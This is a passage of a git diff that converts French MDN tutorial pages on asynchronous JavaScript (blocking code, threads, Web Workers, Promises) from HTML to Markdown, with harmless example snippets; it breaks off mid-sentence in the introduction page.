qu'on appelle du code <strong>bloquant</strong> ; le navigateur est incapable de continuer à traiter les entrées de l'utilisateur et d'effectuer d'autres tâches jusqu'à ce que l'application web rende le contrôle du processeur.</p> +Examinons quelques exemples qui montrent ce que nous entendons par blocage. -<p>Examinons quelques exemples qui montrent ce que nous entendons par blocage.</p> +Dans notre exemple [simple-sync.html](https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing/simple-sync.html) ([voir le fonctionnement en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html)), nous ajoutons un écouteur d'événement de clic à un bouton de sorte que, lorsqu'il est cliqué, il exécute une opération qui prend du temps (calcule 10 millions de dates puis enregistre la dernière dans la console) et ajoute ensuite un paragraphe au DOM : -<p>Dans notre exemple <a href="https://github.com/mdn/learning-area/tree/master/javascript/asynchronous/introducing/simple-sync.html">simple-sync.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync.html">voir le fonctionnement en direct</a>), nous ajoutons un écouteur d'événement de clic à un bouton de sorte que, lorsqu'il est cliqué, il exécute une opération qui prend du temps (calcule 10 millions de dates puis enregistre la dernière dans la console) et ajoute ensuite un paragraphe au DOM :</p> - -<pre class="brush: js">const btn = document.querySelector('button'); -btn.addEventListener('click', () => { +```js +const btn = document.querySelector('button'); +btn.addEventListener('click', () => { let myDate; - for(let i = 0; i < 10000000; i++) { + for(let i = 0; i < 10000000; i++) { let date = new Date(); myDate = date; } @@ -59,23 +66,21 @@ btn.addEventListener('click', () => { let pElem = document.createElement('p'); pElem.textContent = `Il s'agit d'un paragraphe nouvellement ajouté.`; document.body.appendChild(pElem); -});</pre> +}); +``` -<p>Lorsque vous exécutez l'exemple, ouvrez votre console JavaScript, puis cliquez sur le bouton. Vous remarquerez que le paragraphe n'apparaît qu'une fois que le calcul des dates est terminé et que le message de la console a été enregistré. Le code s'exécute dans l'ordre où il apparaît dans la source, et la dernière opération ne s'exécute pas tant que la première n'est pas terminée.</p> +Lorsque vous exécutez l'exemple, ouvrez votre console JavaScript, puis cliquez sur le bouton. Vous remarquerez que le paragraphe n'apparaît qu'une fois que le calcul des dates est terminé et que le message de la console a été enregistré. Le code s'exécute dans l'ordre où il apparaît dans la source, et la dernière opération ne s'exécute pas tant que la première n'est pas terminée. -<div class="note"> - <p><strong>Note :</strong> L'exemple précédent est très peu réaliste. Vous ne calculeriez jamais 10 millions de dates sur une véritable application web ! Il sert cependant à vous donner l'idée de base.</p> -</div> +> **Note :** L'exemple précédent est très peu réaliste. Vous ne calculeriez jamais 10 millions de dates sur une véritable application web ! Il sert cependant à vous donner l'idée de base. -<p>Dans notre deuxième exemple, <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">simple-sync-ui-blocking.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html">voir en direct</a>), nous simulons quelque chose de légèrement plus réaliste que vous pourriez rencontrer sur une page réelle. Nous bloquons l'interactivité de l'utilisateur avec le rendu de l'interface utilisateur. Dans cet exemple, nous avons deux boutons :</p> +Dans notre deuxième exemple, [simple-sync-ui-blocking.html](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-ui-blocking.html) ([voir en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-ui-blocking.html)), nous simulons quelque chose de légèrement plus réaliste que vous pourriez rencontrer sur une page réelle. Nous bloquons l'interactivité de l'utilisateur avec le rendu de l'interface utilisateur. Dans cet exemple, nous avons deux boutons : -<ul> - <li>Un bouton "Remplir le canevas" qui, lorsqu'il est cliqué, remplit le <a href="/fr/docs/Web/HTML/Element/canvas"><code><canvas></code></a> disponible avec 1 million de cercles bleus.</li> - <li>Un bouton "Cliquez sur moi pour l'alerte" qui, lorsqu'il est cliqué, affiche un message d'alerte.</li> -</ul> +- Un bouton "Remplir le canevas" qui, lorsqu'il est cliqué, remplit le [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) disponible avec 1 million de cercles bleus. +- Un bouton "Cliquez sur moi pour l'alerte" qui, lorsqu'il est cliqué, affiche un message d'alerte. -<pre class="brush: js">function expensiveOperation() { - for(let i = 0; i < 1000000; i++) { +```js +function expensiveOperation() { + for(let i = 0; i < 1000000; i++) { ctx.fillStyle = 'rgba(0,0,255, 0.2)'; ctx.beginPath(); ctx.arc(random(0, canvas.width), random(0, canvas.height), 10, degToRad(0), degToRad(360), false); @@ -85,81 +90,78 @@ btn.addEventListener('click', () => { fillBtn.addEventListener('click', expensiveOperation); -alertBtn.addEventListener('click', () => +alertBtn.addEventListener('click', () => alert('Vous avez cliqué sur moi !'); -);</pre> +); +``` -<p>Si vous cliquez sur le premier bouton, puis rapidement sur le second, vous verrez que l'alerte n'apparaît pas avant que les cercles aient fini d'être rendus. La première opération bloque la seconde jusqu'à ce qu'elle ait fini de s'exécuter.</p> +Si vous cliquez sur le premier bouton, puis rapidement sur le second, vous verrez que l'alerte n'apparaît pas avant que les cercles aient fini d'être rendus. La première opération bloque la seconde jusqu'à ce qu'elle ait fini de s'exécuter. -<div class="note"> - <p><strong>Note :</strong> D'accord, dans notre cas, c'est laid et nous simulons l'effet de blocage, mais il s'agit d'un problème courant contre lequel les développeuses et développeurs d'applications réelles se battent sans cesse pour atténuer les impacts indésirables.</p> -</div> +> **Note :** D'accord, dans notre cas, c'est laid et nous simulons l'effet de blocage, mais il s'agit d'un problème courant contre lequel les développeuses et développeurs d'applications réelles se battent sans cesse pour atténuer les impacts indésirables. -<p>Pourquoi ? La réponse est que JavaScript, de manière générale, ne s'exécute que sur <strong>un seul <i>thread</i></strong>. À ce stade, nous devons introduire le concept de <strong><i>threads</i></strong>.</p> +Pourquoi ? La réponse est que JavaScript, de manière générale, ne s'exécute que sur **un seul _thread_**. À ce stade, nous devons introduire le concept de **_threads_**. -<h2 id="threads">Les threads</h2> +## Les threads -<p>Un <strong><i>thread</i></strong> est fondamentalement un processus unique qu'un programme peut utiliser pour accomplir des tâches. Chaque <i>thread</i> ne peut effectuer qu'une seule tâche à la fois :</p> +Un **_thread_** est fondamentalement un processus unique qu'un programme peut utiliser pour accomplir des tâches. Chaque _thread_ ne peut effectuer qu'une seule tâche à la fois : -<pre>Tâche A --> Tâche B --> Tâche C</pre> + Tâche A --> Tâche B --> Tâche C -<p>Chaque tâche sera exécutée de manière séquentielle ; une tâche doit être terminée avant que la suivante puisse être lancée.</p> +Chaque tâche sera exécutée de manière séquentielle ; une tâche doit être terminée avant que la suivante puisse être lancée. -<p>Comme nous l'avons dit précédemment, de nombreux ordinateurs sont désormais dotés de plusieurs cœurs et peuvent donc faire plusieurs choses à la fois. Les langages de programmation qui prennent en charge plusieurs processus peuvent utiliser plusieurs cœurs pour accomplir de multiples tâches simultanément :</p> +Comme nous l'avons dit précédemment, de nombreux ordinateurs sont désormais dotés de plusieurs cœurs et peuvent donc faire plusieurs choses à la fois. Les langages de programmation qui prennent en charge plusieurs processus peuvent utiliser plusieurs cœurs pour accomplir de multiples tâches simultanément : -<pre>Processus 1: Tâche A --> Tâche B -Processus 2: Tâche C --> Tâche D</pre> + Processus 1: Tâche A --> Tâche B + Processus 2: Tâche C --> Tâche D -<h3 id="javascript_is_single-threaded">JavaScript n'a qu'un thread</h3> +### JavaScript n'a qu'un thread -<p>JavaScript est traditionnellement « single-threaded ». Même avec plusieurs cœurs, vous ne pouviez le faire exécuter des tâches que sur un seul processus, appelé le <strong>main thread</strong>. Notre exemple ci-dessus est exécuté comme ceci :</p> +JavaScript est traditionnellement « single-threaded ». Même avec plusieurs cœurs, vous ne pouviez le faire exécuter des tâches que sur un seul processus, appelé le **main thread**. Notre exemple ci-dessus est exécuté comme ceci : -<pre>processus principal : Rendre des cercles dans <canvas> --> Afficher alert()</pre> + processus principal : Rendre des cercles dans <canvas> --> Afficher alert() -<p>Après un certain temps, JavaScript a gagné quelques outils pour aider à résoudre de tels problèmes. <a href="/fr/docs/Web/API/Web_Workers_API">Les Web workers</a> vous permettent d'envoyer une partie du traitement JavaScript hors d'un processus distinct, appelé worker, afin que vous puissiez exécuter plusieurs morceaux JavaScript simultanément. Vous utiliserez généralement un worker pour exécuter des processus coûteux hors du processus principal afin de ne pas bloquer l'interaction avec l'utilisateur.</p> +Après un certain temps, JavaScript a gagné quelques outils pour aider à résoudre de tels problèmes. [Les Web workers](/fr/docs/Web/API/Web_Workers_API) vous permettent d'envoyer une partie du traitement JavaScript hors d'un processus distinct, appelé worker, afin que vous puissiez exécuter plusieurs morceaux JavaScript simultanément. Vous utiliserez généralement un worker pour exécuter des processus coûteux hors du processus principal afin de ne pas bloquer l'interaction avec l'utilisateur. -<pre>Processus principal : Tâche A --> Tâche C -Processus du Worker : Tâche coûteuse B</pre> + Processus principal : Tâche A --> Tâche C + Processus du Worker : Tâche coûteuse B -<p>Dans cette optique, jetez un coup d'œil à <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html">simple-sync-worker.html</a> (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html">voyez-le fonctionner en direct</a>), toujours avec la console JavaScript de votre navigateur ouverte. Il s'agit d'une réécriture de notre exemple précédent qui calcule les 10 millions de dates dans un fil de travail (<i>worker</i>) séparé. Vous pouvez voir le code du <i>worker</i> ici : <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/worker.js">worker.js</a>. Désormais, lorsque vous cliquez sur le bouton, le navigateur est capable d'afficher le paragraphe avant que les dates n'aient fini d'être calculées. La première opération ne bloque plus la seconde et une fois que le <i>worker</i> a fini ses calculs, la date est affichée dans la console.</p> +Dans cette optique, jetez un coup d'œil à [simple-sync-worker.html](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/simple-sync-worker.html) ([voyez-le fonctionner en direct](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/simple-sync-worker.html)), toujours avec la console JavaScript de votre navigateur ouverte. Il s'agit d'une réécriture de notre exemple précédent qui calcule les 10 millions de dates dans un fil de travail (_worker_) séparé. Vous pouvez voir le code du _worker_ ici : [worker.js](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/worker.js). Désormais, lorsque vous cliquez sur le bouton, le navigateur est capable d'afficher le paragraphe avant que les dates n'aient fini d'être calculées. La première opération ne bloque plus la seconde et une fois que le _worker_ a fini ses calculs, la date est affichée dans la console. -<h2 id="asynchronous_code">Code asynchrone</h2> +## Code asynchrone -<p>Les web workers sont très utiles, mais ils ont leurs limites. L'une des principales est qu'ils ne peuvent pas accéder au <a href="/fr/docs/Glossary/DOM">DOM</a>. Vous ne pouvez pas demander à un worker de faire directement quelque chose pour mettre à jour l'interface utilisateur. Nous n'avons pas pu rendre nos 1 million de cercles bleus à l'intérieur de notre worker ; il ne peut faire que le calcul des chiffres.</p> +Les web workers sont très utiles, mais ils ont leurs limites. L'une des principales est qu'ils ne peuvent pas accéder au [DOM](/fr/docs/Glossary/DOM). Vous ne pouvez pas demander à un worker de faire directement quelque chose pour mettre à jour l'interface utilisateur. Nous n'avons pas pu rendre nos 1 million de cercles bleus à l'intérieur de notre worker ; il ne peut faire que le calcul des chiffres. -<p>Le deuxième problème est que, bien que le code exécuté dans un worker ne soit pas bloquant, il reste fondamentalement synchrone. Cela devient un problème lorsqu'une fonction s'appuie sur les résultats de plusieurs processus précédents pour fonctionner. Considérons les diagrammes de processus suivants :</p> +Le deuxième problème est que, bien que le code exécuté dans un worker ne soit pas bloquant, il reste fondamentalement synchrone. Cela devient un problème lorsqu'une fonction s'appuie sur les résultats de plusieurs processus précédents pour fonctionner. Considérons les diagrammes de processus suivants : -<pre>Processus principal : Tâche A --> Tâche B</pre> + Processus principal : Tâche A --> Tâche B -<p>Dans ce cas, disons que la tâche A fait quelque chose comme récupérer une image du serveur et que la tâche B fait ensuite quelque chose à l'image comme lui appliquer un filtre. Si vous lancez la tâche A et essayez immédiatement d'exécuter la tâche B, vous obtiendrez une erreur, car l'image ne sera pas encore disponible.</p> +Dans ce cas, disons que la tâche A fait quelque chose comme récupérer une image du serveur et que la tâche B fait ensuite quelque chose à l'image comme lui appliquer un filtre. Si vous lancez la tâche A et essayez immédiatement d'exécuter la tâche B, vous obtiendrez une erreur, car l'image ne sera pas encore disponible. -<pre>Processus principal : Tâche A --> Tâche B --> |Tâche D| -Processus du Worker : Tâche C --------------> | |</pre> + Processus principal : Tâche A --> Tâche B --> |Tâche D| + Processus du Worker : Tâche C --------------> | | -<p>Dans ce cas, disons que la tâche D utilise les résultats de la tâche B et de la tâche C. Si nous pouvons garantir que ces résultats seront tous deux disponibles au même moment, alors nous pourrions être OK, mais c'est peu probable. Si la tâche D tente de s'exécuter alors que l'une de ses entrées n'est pas encore disponible, elle déclenchera une erreur.</p> +Dans ce cas, disons que la tâche D utilise les résultats de la tâche B et de la tâche C. Si nous pouvons garantir que ces résultats seront tous deux disponibles au même moment, alors nous pourrions être OK, mais c'est peu probable. Si la tâche D tente de s'exécuter alors que l'une de ses entrées n'est pas encore disponible, elle déclenchera une erreur. -<p>Pour résoudre ces problèmes, les navigateurs nous permettent d'exécuter certaines opérations de manière asynchrone. Des fonctionnalités telles que <a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise"><code>Promise</code></a> permettent de lancer une opération (par exemple, la récupération d'une image sur le serveur), puis d'attendre le retour du résultat avant de lancer une autre opération :</p> +Pour résoudre ces problèmes, les navigateurs nous permettent d'exécuter certaines opérations de manière asynchrone. Des fonctionnalités telles que [`Promise`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Promise) permettent de lancer une opération (par exemple, la récupération d'une image sur le serveur), puis d'attendre le retour du résultat avant de lancer une autre opération : -<pre>Processus principal : Tâche A Tâche B -Promesse : |__opération asynchrone__|</pre> + Processus principal : Tâche A Tâche B + Promesse : |__opération asynchrone__| -<p>Comme l'opération se déroule ailleurs, le processus principal n'est pas bloqué pendant le traitement de l'opération asynchrone.</p> +Comme l'opération se déroule ailleurs, le processus principal n'est pas bloqué pendant le traitement de l'opération asynchrone. -<p>Nous allons commencer à examiner comment écrire du code asynchrone dans le prochain article. C'est passionnant, non ? Bonne lecture !</p> +Nous allons commencer à examiner comment écrire du code asynchrone dans le prochain article. C'est passionnant, non ? Bonne lecture ! -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>La conception de logiciels modernes s'articule de plus en plus autour de l'utilisation de la programmation asynchrone, afin de permettre aux programmes de faire plusieurs choses à la fois. À mesure que vous utilisez des API plus récentes et plus puissantes, vous trouverez de plus en plus de cas où la seule façon de faire les choses est asynchrone. Il était autrefois difficile d'écrire du code asynchrone. Il faut encore s'y habituer, mais c'est devenu beaucoup plus facile. Dans la suite de ce module, nous étudierons plus en détail pourquoi le code asynchrone est important et comment concevoir un code qui évite certains des problèmes décrits ci-dessus.</p> +La conception de logiciels modernes s'articule de plus en plus autour de l'utilisation de la programmation asynchrone, afin de permettre aux programmes de faire plusieurs choses à la fois. À mesure que vous utilisez des API plus récentes et plus puissantes, vous trouverez de plus en plus de cas où la seule façon de faire les choses est asynchrone. Il était autrefois difficile d'écrire du code asynchrone. Il faut encore s'y habituer, mais c'est devenu beaucoup plus facile. Dans la suite de ce module, nous étudierons plus en détail pourquoi le code asynchrone est important et comment concevoir un code qui évite certains des problèmes décrits ci-dessus. -<div>{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}}</div> +{{NextMenu("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec async et await</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></li> -</ul> +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Faciliter la programmation asynchrone avec async et await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) diff --git a/files/fr/learn/javascript/asynchronous/index.md b/files/fr/learn/javascript/asynchronous/index.md index 0688d5de42..c555f017df 100644 --- a/files/fr/learn/javascript/asynchronous/index.md +++ b/files/fr/learn/javascript/asynchronous/index.md @@ -17,46 +17,41 @@ tags: - setTimeout translation_of: Learn/JavaScript/Asynchronous --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}} -<p>Dans ce module, nous examinons le <a href="/fr/docs/Glossary/JavaScript">JavaScript</a> <a href="/fr/docs/Glossary/Asynchronous">asynchrone</a>, pourquoi il est important et comment il peut être utilisé afin de gérer efficacement les opérations potentiellement bloquantes telles que la récupération de ressources sur un serveur.</p> +Dans ce module, nous examinons le [JavaScript](/fr/docs/Glossary/JavaScript) [asynchrone](/fr/docs/Glossary/Asynchronous), pourquoi il est important et comment il peut être utilisé afin de gérer efficacement les opérations potentiellement bloquantes telles que la récupération de ressources sur un serveur. -<div class="callout"> - <p>Vous cherchez à devenir une développeuse ou un développeur web front-end ?</p> - <p>Nous avons élaboré un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif.</p> - <p><a href="/fr/docs/Learn/Front-end_web_developer">Commencer</a> - </p> -</div> +> **Remarque :** +> +> Vous cherchez à devenir une développeuse ou un développeur web front-end ? +> +> Nous avons élaboré un cours qui comprend toutes les informations essentielles dont vous avez besoin pour atteindre votre objectif. +> +> [Commencer](/fr/docs/Learn/Front-end_web_developer) -<h2 id="prerequisites">Prérequis</h2> +## Prérequis -<p>Le JavaScript asynchrone est un sujet assez avancé, et il vous est conseillé de travailler sur les modules <a href="/fr/docs/Learn/JavaScript/First_steps">Premiers pas en JavaScript</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">Blocs de construction de JavaScript</a> avant d'attaquer cette leçon.</p> +Le JavaScript asynchrone est un sujet assez avancé, et il vous est conseillé de travailler sur les modules [Premiers pas en JavaScript](/fr/docs/Learn/JavaScript/First_steps) et [Blocs de construction de JavaScript](/fr/docs/Learn/JavaScript/Building_blocks) avant d'attaquer cette leçon. -<p>Si vous n'êtes pas familier avec le concept de programmation asynchrone, vous devriez absolument commencer par l'article <a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a> de ce module. Si vous connaissez ce concept, vous pouvez probablement passer directement au module <a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a>.</p> +Si vous n'êtes pas familier avec le concept de programmation asynchrone, vous devriez absolument commencer par l'article [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) de ce module. Si vous connaissez ce concept, vous pouvez probablement passer directement au module [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing). -<div class="note"> - <p><strong>Note :</strong> Si vous travaillez sur un ordinateur/tablette/autre appareil où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de codage en ligne tel que <a href="https://jsbin.com/">JSBin</a> ou <a href="https://glitch.com">Glitch</a>.</p> -</div> +> **Note :** Si vous travaillez sur un ordinateur/tablette/autre appareil où vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer (la plupart) des exemples de code dans un programme de codage en ligne tel que [JSBin](https://jsbin.com/) ou [Glitch](https://glitch.com). -<h2 id="guides">Guides</h2> +## Guides -<dl> - <dt><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></dt> - <dd>Dans cet article, nous allons passer en revue un certain nombre de concepts importants relatifs à la programmation asynchrone et à la façon dont elle se présente dans les navigateurs web et JavaScript. Vous devez comprendre ces concepts avant de travailler sur les autres articles du module.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></dt> - <dd>Dans cet article, nous récapitulons brièvement les problèmes associés au JavaScript synchrone, et nous jetons un premier coup d'œil à certaines des différentes techniques JavaScript asynchrones que vous rencontrerez, en montrant comment elles peuvent nous aider à résoudre ces problèmes.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></dt> - <dd>Nous examinons ici les méthodes traditionnelles dont dispose JavaScript pour exécuter du code de manière asynchrone après l'écoulement d'une période déterminée ou à un intervalle régulier (par exemple, un nombre déterminé de fois par seconde), nous expliquons à quoi elles servent et nous examinons leurs problèmes inhérents.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></dt> - <dd>Les promesses sont une fonctionnalité relativement nouvelle du langage JavaScript qui vous permet de reporter d'autres actions jusqu'à ce que l'action précédente soit terminée, ou de réagir à son échec. C'est très utile pour mettre en place une séquence d'opérations qui fonctionne correctement. Cet article vous montre comment les promesses fonctionnent, où vous les verrez utilisées dans les API Web et comment écrire les vôtres.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec async et await</a></dt> - <dd>Les promesses peuvent être quelque peu complexes à mettre en place et à comprendre, c'est pourquoi les navigateurs modernes ont implémenté les fonctions <code>async</code> et l'opérateur <code>await</code>. Le premier permet aux fonctions standard de se comporter implicitement de manière asynchrone avec les promesses, tandis que le second peut être utilisé à l'intérieur des fonctions <code>async</code> pour attendre les promesses avant que la fonction ne continue. Cela rend l'enchaînement des promesses plus simple et plus facile à lire.</dd> - <dt><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></dt> - <dd>Pour terminer ce module, nous examinerons les différentes techniques et fonctionnalités de codage que nous avons abordées tout au long de ce module, et nous verrons lesquelles vous devez utiliser et à quel moment, avec des recommandations et des rappels des pièges courants le cas échéant.</dd> -</dl> +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) + - : Dans cet article, nous allons passer en revue un certain nombre de concepts importants relatifs à la programmation asynchrone et à la façon dont elle se présente dans les navigateurs web et JavaScript. Vous devez comprendre ces concepts avant de travailler sur les autres articles du module. +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) + - : Dans cet article, nous récapitulons brièvement les problèmes associés au JavaScript synchrone, et nous jetons un premier coup d'œil à certaines des différentes techniques JavaScript asynchrones que vous rencontrerez, en montrant comment elles peuvent nous aider à résoudre ces problèmes. +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) + - : Nous examinons ici les méthodes traditionnelles dont dispose JavaScript pour exécuter du code de manière asynchrone après l'écoulement d'une période déterminée ou à un intervalle régulier (par exemple, un nombre déterminé de fois par seconde), nous expliquons à quoi elles servent et nous examinons leurs problèmes inhérents. +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) + - : Les promesses sont une fonctionnalité relativement nouvelle du langage JavaScript qui vous permet de reporter d'autres actions jusqu'à ce que l'action précédente soit terminée, ou de réagir à son échec. C'est très utile pour mettre en place une séquence d'opérations qui fonctionne correctement. Cet article vous montre comment les promesses fonctionnent, où vous les verrez utilisées dans les API Web et comment écrire les vôtres. +- [Faciliter la programmation asynchrone avec async et await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) + - : Les promesses peuvent être quelque peu complexes à mettre en place et à comprendre, c'est pourquoi les navigateurs modernes ont implémenté les fonctions `async` et l'opérateur `await`. Le premier permet aux fonctions standard de se comporter implicitement de manière asynchrone avec les promesses, tandis que le second peut être utilisé à l'intérieur des fonctions `async` pour attendre les promesses avant que la fonction ne continue. Cela rend l'enchaînement des promesses plus simple et plus facile à lire. +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) + - : Pour terminer ce module, nous examinerons les différentes techniques et fonctionnalités de codage que nous avons abordées tout au long de ce module, et nous verrons lesquelles vous devez utiliser et à quel moment, avec des recommandations et des rappels des pièges courants le cas échéant. -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="https://eloquentjavascript.net/11_async.html">Programmation asynchrone</a> (en anglais) à partir du fantastique livre en ligne <a href="https://eloquentjavascript.net/">Eloquent JavaScript</a> de Marijn Haverbeke.</li> -</ul> +- [Programmation asynchrone](https://eloquentjavascript.net/11_async.html) (en anglais) à partir du fantastique livre en ligne [Eloquent JavaScript](https://eloquentjavascript.net/) de Marijn Haverbeke. diff --git a/files/fr/learn/javascript/asynchronous/introducing/index.md b/files/fr/learn/javascript/asynchronous/introducing/index.md index 1a352017dd..f86e565338 100644 --- a/files/fr/learn/javascript/asynchronous/introducing/index.md +++ b/files/fr/learn/javascript/asynchronous/introducing/index.md @@ -15,102 +15,108 @@ tags: - callbacks translation_of: Learn/JavaScript/Asynchronous/Introducing --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}</div> - -<p>Dans cet article, nous récapitulons brièvement les problèmes associés au JavaScript synchrone, et nous jetons un premier coup d'œil à certaines des différentes techniques asynchrones que vous rencontrerez, en montrant comment elles peuvent nous aider à résoudre ces problèmes.</p> +Dans cet article, nous récapitulons brièvement les problèmes associés au JavaScript synchrone, et nous jetons un premier coup d'œil à certaines des différentes techniques asynchrones que vous rencontrerez, en montrant comment elles peuvent nous aider à résoudre ces problèmes. <table class="standard-table"> <tbody> <tr> <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, compréhension raisonnable des principes fondamentaux de JavaScript.</td> + <td> + Connaissances informatiques de base, compréhension raisonnable des + principes fondamentaux de JavaScript. + </td> </tr> <tr> <th scope="row">Objectif :</th> - <td>Se familiariser avec ce qu'est le JavaScript asynchrone, comment il diffère du JavaScript synchrone et quels sont ses cas d'utilisation.</td> + <td> + Se familiariser avec ce qu'est le JavaScript asynchrone, comment il + diffère du JavaScript synchrone et quels sont ses cas d'utilisation. + </td> </tr> </tbody> </table> -<h2 id="synchronous_javascript">JavaScript synchrone</h2> +## JavaScript synchrone -<p>Pour nous permettre de comprendre ce qu'est le JavaScript <strong><a href="/fr/docs/Glossary/Asynchronous">asynchrone</a></strong>, nous devons commencer par nous assurer que nous comprenons ce qu'est le JavaScript <strong><a href="/fr/docs/Glossary/Synchronous">synchrone</a></strong>. Cette section récapitule certaines des informations que nous avons vues dans l'article précédent.</p> +Pour nous permettre de comprendre ce qu'est le JavaScript **[asynchrone](/fr/docs/Glossary/Asynchronous)**, nous devons commencer par nous assurer que nous comprenons ce qu'est le JavaScript **[synchrone](/fr/docs/Glossary/Synchronous)**. Cette section récapitule certaines des informations que nous avons vues dans l'article précédent. -<p>Une grande partie des fonctionnalités que nous avons examinées dans les modules précédents du domaine d'apprentissage sont synchrones - vous exécutez un certain code, et le résultat est renvoyé dès que le navigateur peut le faire. Examinons un exemple simple (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/basic-function.html">voir en direct ici</a>, et <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/basic-function.html">voir la source</a>) :</p> +Une grande partie des fonctionnalités que nous avons examinées dans les modules précédents du domaine d'apprentissage sont synchrones - vous exécutez un certain code, et le résultat est renvoyé dès que le navigateur peut le faire. Examinons un exemple simple ([voir en direct ici](https://mdn.github.io/learning-area/javascript/asynchronous/introducing/basic-function.html), et [voir la source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/basic-function.html)) : -<pre class="brush: js">const btn = document.querySelector('button'); -btn.addEventListener('click', () => { +```js +const btn = document.querySelector('button'); +btn.addEventListener('click', () => { alert(`Vous avez cliqué sur moi !`); let pElem = document.createElement('p'); pElem.textContent = `Il s'agit d'un paragraphe nouvellement ajouté.`; document.body.appendChild(pElem); }); -</pre> +``` + +Dans ce bloc, les lignes sont exécutées les unes après les autres : -<p>Dans ce bloc, les lignes sont exécutées les unes après les autres :</p> +1. Nous saisissons une référence à un élément [`<button>`](/fr/docs/Web/HTML/Element/Button) qui est déjà disponible dans le DOM. +2. Nous lui ajoutons un écouteur d'événements [`click`](/fr/docs/Web/API/Element/click_event) afin que lorsque le bouton est cliqué : -<ol> - <li>Nous saisissons une référence à un élément <a href="/fr/docs/Web/HTML/Element/Button"><code><button></code></a> qui est déjà disponible dans le 